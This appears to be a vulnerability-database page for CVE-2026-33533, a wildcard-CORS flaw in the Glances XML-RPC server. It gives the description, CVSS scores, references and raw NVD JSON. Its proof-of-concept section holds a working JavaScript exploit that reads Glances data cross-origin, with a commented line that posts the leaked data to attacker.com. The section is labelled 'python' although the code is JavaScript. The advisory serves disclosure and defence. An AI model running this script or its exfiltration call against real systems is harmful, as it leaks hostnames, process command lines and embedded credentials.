CVE-2026-33533

Description

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:* - VULNERABLE

Glances < 4.5.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-33533 -->
<!-- Exploiting CORS misconfiguration in Glances XML-RPC -->
<script>
  function exfiltrateData() {
    // Target the local Glances XML-RPC server (default port 61209)
    const target = 'http://127.0.0.1:61209';
    
    // XML-RPC payload to list methods or retrieve system info
    const xmlPayload = `<?xml version='1.0'?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params></params>
</methodCall>`;

    // Send a CORS simple request (POST with text/plain)
    fetch(target, {
      method: 'POST',
      headers: {
        'Content-Type': 'text/plain' // Bypasses preflight check
      },
      body: xmlPayload
    })
    .then(response => response.text())
    .then(data => {
      console.log('Leaked Data:', data);
      // Data can be exfiltrated to an attacker-controlled server
      // fetch('https://attacker.com/collect', { method: 'POST', body: data });
    })
    .catch(err => console.error('Exploit failed:', err));
  }
  exfiltrateData();
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33533
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33533
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33533/
[4] VulDB https://vuldb.com/cve/CVE-2026-33533
[5] https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1
[6] https://github.com/nicolargo/glances/releases/tag/v4.5.3
[7] https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33533", "sourceIdentifier": "[email protected]", "published": "2026-04-02T15:16:39.390", "lastModified": "2026-04-07T15:01:52.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.3", "matchCriteriaId": "5D5895A8-B817-4EFE-BA8C-A8A9156139A7"}]}]}], "references": [{"url": "https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}